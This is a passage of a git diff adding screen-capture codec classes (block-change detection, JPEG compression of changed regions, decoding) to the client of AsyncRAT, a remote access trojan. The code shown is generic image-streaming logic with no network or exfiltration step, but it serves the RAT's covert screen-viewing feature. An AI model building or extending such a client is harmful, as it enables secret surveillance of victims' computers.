+ }
+
+ byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
+ if (DataSize > 0)
+ {
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ for (int i = 4; DataSize > 0; )
+ {
+ Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
+ *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
+ int UpdateLen = *(int*)(bufferPtr + i + 16);
+ byte[] temp = new byte[UpdateLen];
+
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
+ {
+ g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
+ }
+ }
+ DataSize -= UpdateLen + (4 * 5);
+ i += UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ }
+ return decodedBitmap;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs
new file mode 100644
index 0000000..e4df368
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs
@@ -0,0 +1,473 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeOptimizedCodec : IUnsafeCodec
+ {
+ private class PopulairPoint
+ {
+ public Rectangle Rect;
+ public int Score;
+ public Stopwatch LastUpdate;
+
+ public PopulairPoint(Rectangle rect)
+ {
+ this.Rect = rect;
+ this.Score = 0;
+ this.LastUpdate = Stopwatch.StartNew();
+ }
+ }
+
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.RequireSameSize; }
+ }
+
+ public Size CheckBlock { get; private set; }
+ private object ImageProcessLock = new object();
+ private byte[] EncodeBuffer;
+ private Bitmap decodedBitmap;
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private List populairPoints;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+ private Stopwatch ScreenRefreshSW = Stopwatch.StartNew();
+
+ //options
+ /// If a part in the image is been changing for the last x milliseconds it will be seen as a video
+ public uint AliveTimeForBeingVideo = 5000;
+ /// This will check if the video went away or stopped playing so it will refresh the other parts in the image
+ public uint ScreenRefreshTimer = 2000;
+ /// The size for being a video, if bigger or equal to the VideoScreenSize it must be a video
+ public Size VideoScreenSize = new Size(100, 100);
+
+ ///
+ /// Initialize a new object of UnsafeOptimizedCodec
+ ///
+ /// The quality to use between 0-100
+ public UnsafeOptimizedCodec(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+ this.populairPoints = new List();
+ this.CheckBlock = new Size(15, 1);
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ lock (ImageProcessLock)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ Stride = ImageSize.Width * PixelSize;
+ RawLength = Stride * ImageSize.Height;
+
+ if (EncodeBuffer == null)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+ this.EncodeBuffer = new byte[RawLength];
+ fixed (byte* ptr = EncodeBuffer)
+ {
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
+ }
+ return;
+ }
+
+ if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer)
+ {
+ for (int i = 0; i < populairPoints.Count; i++)
+ {
+ if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5)
+ {
+ populairPoints.RemoveAt(i);
+ }
+ }
+ ScreenRefreshSW = Stopwatch.StartNew();
+ }
+
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+
+ List updates = new List();
+ MemoryStream ms = new MemoryStream();
+ byte[] buffer = null;
+
+ if (this.EncodedFormat != Format)
+ throw new Exception("PixelFormat is not equal to previous Bitmap");
+
+ if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
+ throw new Exception("Bitmap width/height are not equal to previous bitmap");
+
+ List Blocks = new List();
+ int index = 0;
+
+ Size s = new Size(ScanArea.Width, CheckBlock.Height);
+ Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
+
+ int lasty = ScanArea.Height - lastSize.Height;
+ int lastx = ScanArea.Width - lastSize.Width;
+
+ Rectangle cBlock = new Rectangle();
+ List finalUpdates = new List();
+
+ PopulairPoint[] points = GetPossibleVideos();
+ if (points.Length > 0)
+ {
+ ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y);
+ }
+
+ s = new Size(ScanArea.Width, s.Height);
+ fixed (byte* encBuffer = EncodeBuffer)
+ {
+ if (points.Length == 0) //only scan if there is no video
+ {
+ for (int y = ScanArea.Y; y != ScanArea.Height; )
+ {
+ if (y == lasty)
+ s = new Size(ScanArea.Width, lastSize.Height);
+ cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
+
+ int offset = (y * Stride) + (ScanArea.X * PixelSize);
+ if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
+ {
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ index = Blocks.Count - 1;
+ if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
+ {
+ cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
+ Blocks[index] = cBlock;
+ }
+ else
+ {
+ Blocks.Add(cBlock);
+ }
+ }
+ y += s.Height;
+ }
+
+ for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
+ {
+ s = new Size(CheckBlock.Width, Blocks[i].Height);
+ x = ScanArea.X;
+ while (x != ScanArea.Width)
+ {
+ if (x == lastx)
+ s = new Size(lastSize.Width, Blocks[i].Height);
+
+ cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
+ bool FoundChanges = false;
+ int blockStride = PixelSize * cBlock.Width;
+
+ for (int j = 0; j < cBlock.Height; j++)
+ {
+ int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
+ if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
+ FoundChanges = true;
+ NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ }
+
+ if (onCodeDebugScan != null)
+ onCodeDebugScan(cBlock);
+
+ if (FoundChanges)
+ {
+ index = finalUpdates.Count - 1;
+ if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
+ {
+ Rectangle rect = finalUpdates[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ finalUpdates[index] = cBlock;
+ }
+ else
+ {
+ finalUpdates.Add(cBlock);
+ }
+ }
+ x += s.Width;
+ }
+ }
+ }
+ else
+ {
+ finalUpdates.Add(points[0].Rect);
+ }
+ }
+
+ for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ Rectangle rect = finalUpdates[i];
+ int blockStride = PixelSize * rect.Width;
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Position;
+ long OldPos = outStream.Position;
+ base.jpgCompression.Compress(TmpBmp, ref outStream);
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+
+ if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
+ {
+ PopulairPoint point = null;
+ if (GetPopulairPoint(rect, ref point))
+ {
+ point.Score++;
+ point.LastUpdate = Stopwatch.StartNew();
+ //Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
+ }
+ else
+ {
+ populairPoints.Add(new PopulairPoint(rect));
+ }
+ }
+
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+
+ /*for (int i = 0; i < finalUpdates.Count; i++)
+ {
+ Rectangle rect = finalUpdates[i];
+ int blockStride = PixelSize * rect.Width;
+ buffer = new byte[blockStride * rect.Height];
+
+ fixed (byte* ptr = buffer)
+ {
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr)))
+ {
+ buffer = base.jpgCompression.Compress(TmpBmp);
+
+ if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
+ {
+ PopulairPoint point = null;
+ if (GetPopulairPoint(rect, ref point))
+ {
+ point.Score++;
+ point.LastUpdate = Stopwatch.StartNew();
+ Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
+ }
+ else
+ {
+ populairPoints.Add(new PopulairPoint(rect));
+ }
+ }
+ }
+ }
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
+ outStream.Write(buffer, 0, buffer.Length);
+ TotalDataLength += buffer.Length + (4 * 5);
+ }*/
+
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ Blocks.Clear();
+ ms.Close();
+ ms.Dispose();
+ }
+ }
+
+ public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ if (Length < 4)
+ return decodedBitmap;
+
+ int DataSize = *(int*)(CodecBuffer);
+ if (decodedBitmap == null)
+ {
+ byte[] temp = new byte[DataSize];
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
+ }
+
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
+ if (DataSize > 0)
+ {
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ for (int i = 4; DataSize > 0; )
+ {
+ Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
+ *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
+ int UpdateLen = *(int*)(bufferPtr + i + 16);
+ byte[] temp = new byte[UpdateLen];
+
+ fixed(byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
+ {
+ g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
+ }
+ }
+ DataSize -= UpdateLen + (4 * 5);
+ i += UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ }
+ return decodedBitmap;
+ }
+
+ public override Bitmap DecodeData(Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+
+ private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint)
+ {
+ for (int i = 0; i < populairPoints.Count; i++)
+ {
+ PopulairPoint point = populairPoints[i];
+ if (point.Rect.Width == rect.Width &&
+ point.Rect.Height == rect.Height &&
+ point.Rect.X == rect.X &&
+ point.Rect.Y == rect.Y)
+ {
+ PopuPoint = populairPoints[i];
+ return true;
+ }
+ }
+ return false;
+ }
+
+ private PopulairPoint[] GetPossibleVideos()
+ {
+ List points = new List();
+ for (int i = 0; i < populairPoints.Count; i++)
+ {
+ if (populairPoints[i].Score > 30)
+ {
+ points.Add(populairPoints[i]);
+ }
+ }
+ return points.ToArray();
+ }
+ }
+}
diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs
new file mode 100644
index 0000000..0719bd9
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeQuickStream.cs
@@ -0,0 +1,285 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeQuickStream : IUnsafeCodec
+ {
+ public override ulong CachedSize { get; internal set; }
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ public override int BufferCount
+ {
+ get { return 0; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
+ }
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ private ulong[] EncodeBuffer;
+
+ private int BlockWidth = 0;
+ private int BlockHeight = 0;
+ private Bitmap decodedBitmap;
+
+ public List VerifyPoints = null;
+
+ public Size CheckBlock { get; private set; }
+ public UnsafeQuickStream(int ImageQuality = 100)
+ : base(ImageQuality)
+ {
+ this.CheckBlock = new Size(50, 50);//width must be bigger then 3
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle OutputRect, Size InputSize, PixelFormat Format, Stream outStream)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ Stride = InputSize.Width * PixelSize;
+ RawLength = Stride * InputSize.Height;
+
+
+ if (EncodedWidth == 0 && EncodedHeight == 0)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = OutputRect.Width;
+ this.EncodedHeight = OutputRect.Height;
+
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(OutputRect.Width, OutputRect.Height, Stride, Format, Scan0))
+ {
+ temp = base.jpgCompression.Compress(TmpBmp);
+ }
+ outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
+ outStream.Write(temp, 0, temp.Length);
+ return;
+ }
+
+ List Points = ProcessChanges(Scan0, OutputRect, Format, InputSize.Width);
+
+ VerifyPoints = Points;
+ long oldPos = outStream.Position;
+ outStream.Write(new byte[4], 0, 4);
+ int TotalDataLength = 0;
+ for (int i = 0; i < Points.Count; i++)
+ {
+ Rectangle rect = Points[i];
+ int blockStride = PixelSize * rect.Width;
+
+ Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
+ BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
+ for (int j = 0, offset = 0; j < rect.Height; j++)
+ {
+ int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
+ NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
+ offset += blockStride;
+ }
+ TmpBmp.UnlockBits(TmpData);
+
+ outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
+ outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
+ outStream.Write(new byte[4], 0, 4);
+
+ long length = outStream.Position;
+ long OldPos = outStream.Position;
+ base.jpgCompression.Compress(TmpBmp, ref outStream);
+ length = outStream.Position - length;
+
+ outStream.Position = OldPos - 4;
+ outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
+ outStream.Position += length;
+
+ TmpBmp.Dispose();
+ TotalDataLength += (int)length + (4 * 5);
+ }
+ outStream.Position = oldPos;
+ outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
+ }
+
+ private unsafe List ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth)
+ {
+ if (EncodeBuffer == null)
+ {
+ this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width));
+ this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height));
+ int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth));
+ this.EncodeBuffer = new ulong[TotalBlocks];
+ }
+
+ List points = new List();
+ int StartScan = Scan0.ToInt32();
+
+ for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height)
+ {
+ if (y + CheckBlock.Height > OutputRect.Height)
+ break;
+
+ for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width)
+ {
+ if (x + CheckBlock.Width > OutputRect.Width)
+ break;
+
+ int EncodeOffset = GetOffset(x, y);
+ long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth);
+ ulong* ScanPtr = (ulong*)(StartScan + offset);
+
+ if (EncodeBuffer[EncodeOffset] != *ScanPtr)
+ {
+ EncodeBuffer[EncodeOffset] = *ScanPtr;
+
+ Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height);
+ int index = points.Count - 1;
+ if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X)
+ {
+ Rectangle rect = points[index];
+ int newWidth = cBlock.Width + rect.Width;
+ cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
+ points[index] = cBlock;
+ }
+ else
+ {
+ points.Add(cBlock);
+ }
+ }
+ }
+ }
+ return points;
+ }
+
+ private Point GetOffsetPoint(int x, int y)
+ {
+ return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth,
+ (int)Math.Floor((double)(x / CheckBlock.Width)));
+ }
+
+ private int GetOffset(int x, int y)
+ {
+ return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth +
+ (int)Math.Floor((double)(x / CheckBlock.Width));
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
+ {
+ byte[] temp = new byte[4];
+ inStream.Read(temp, 0, 4);
+ int DataSize = BitConverter.ToInt32(temp, 0);
+
+ if (decodedBitmap == null)
+ {
+ temp = new byte[DataSize];
+ inStream.Read(temp, 0, temp.Length);
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ List updates = new List();
+ Rectangle rect;
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ Bitmap tmp;
+ byte[] buffer = null;
+ MemoryStream m;
+
+ while (DataSize > 0)
+ {
+ byte[] tempData = new byte[4 * 5];
+ inStream.Read(tempData, 0, tempData.Length);
+
+ rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
+ BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
+ int UpdateLen = BitConverter.ToInt32(tempData, 16);
+ buffer = new byte[UpdateLen];
+ inStream.Read(buffer, 0, buffer.Length);
+
+ if (onDecodeDebugScan != null)
+ onDecodeDebugScan(rect);
+
+ m = new MemoryStream(buffer);
+ tmp = (Bitmap)Image.FromStream(m);
+ g.DrawImage(tmp, rect.Location);
+ tmp.Dispose();
+
+ m.Close();
+ m.Dispose();
+ DataSize -= UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ return decodedBitmap;
+ }
+
+ public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
+ {
+ if (Length < 4)
+ return decodedBitmap;
+
+ int DataSize = *(int*)(CodecBuffer);
+ if (decodedBitmap == null)
+ {
+ byte[] temp = new byte[DataSize];
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
+ }
+
+ this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
+ return decodedBitmap;
+ }
+
+ byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
+ if (DataSize > 0)
+ {
+ Graphics g = Graphics.FromImage(decodedBitmap);
+ for (int i = 4; DataSize > 0; )
+ {
+ Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
+ *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
+ int UpdateLen = *(int*)(bufferPtr + i + 16);
+ byte[] temp = new byte[UpdateLen];
+
+ fixed (byte* tempPtr = temp)
+ {
+ NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
+ using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
+ {
+ g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
+ }
+ }
+ DataSize -= UpdateLen + (4 * 5);
+ i += UpdateLen + (4 * 5);
+ }
+ g.Dispose();
+ }
+ return decodedBitmap;
+ }
+ }
+}
diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs
new file mode 100644
index 0000000..966b812
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeStreamCodec.cs
@@ -0,0 +1,363 @@
+using StreamLibrary.src;
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.UnsafeCodecs
+{
+ public class UnsafeStreamCodec : IUnsafeCodec
+ {
+ public override ulong CachedSize
+ {
+ get;
+ internal set;
+ }
+
+ public override int BufferCount
+ {
+ get { return 1; }
+ }
+
+ public override CodecOption CodecOptions
+ {
+ get { return CodecOption.RequireSameSize; }
+ }
+
+ public Size CheckBlock { get; private set; }
+ private byte[] EncodeBuffer;
+ private Bitmap decodedBitmap;
+ private PixelFormat EncodedFormat;
+ private int EncodedWidth;
+ private int EncodedHeight;
+ public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
+ public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
+
+ bool UseJPEG;
+
+ ///
+ /// Initialize a new object of UnsafeStreamCodec
+ ///
+ /// The quality to use between 0-100
+ public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
+ : base(ImageQuality)
+ {
+ this.CheckBlock = new Size(50, 1);
+ this.UseJPEG = UseJPEG;
+ }
+
+ public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
+ {
+ lock (ImageProcessLock)
+ {
+ byte* pScan0 = (byte*)Scan0.ToInt32();
+ if (!outStream.CanWrite)
+ throw new Exception("Must have access to Write in the Stream");
+
+ int Stride = 0;
+ int RawLength = 0;
+ int PixelSize = 0;
+
+ switch (Format)
+ {
+ case PixelFormat.Format24bppRgb:
+ case PixelFormat.Format32bppRgb:
+ PixelSize = 3;
+ break;
+ case PixelFormat.Format32bppArgb:
+ case PixelFormat.Format32bppPArgb:
+ PixelSize = 4;
+ break;
+ default:
+ throw new NotSupportedException(Format.ToString());
+ }
+
+ Stride = ImageSize.Width * PixelSize;
+ RawLength = Stride * ImageSize.Height;
+
+ if (EncodeBuffer == null)
+ {
+ this.EncodedFormat = Format;
+ this.EncodedWidth = ImageSize.Width;
+ this.EncodedHeight = ImageSize.Height;
+ this.EncodeBuffer = new byte[RawLength];
+ fixed (byte* ptr = EncodeBuffer)
+ {
+ byte[] temp = null;
+ using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
+ {
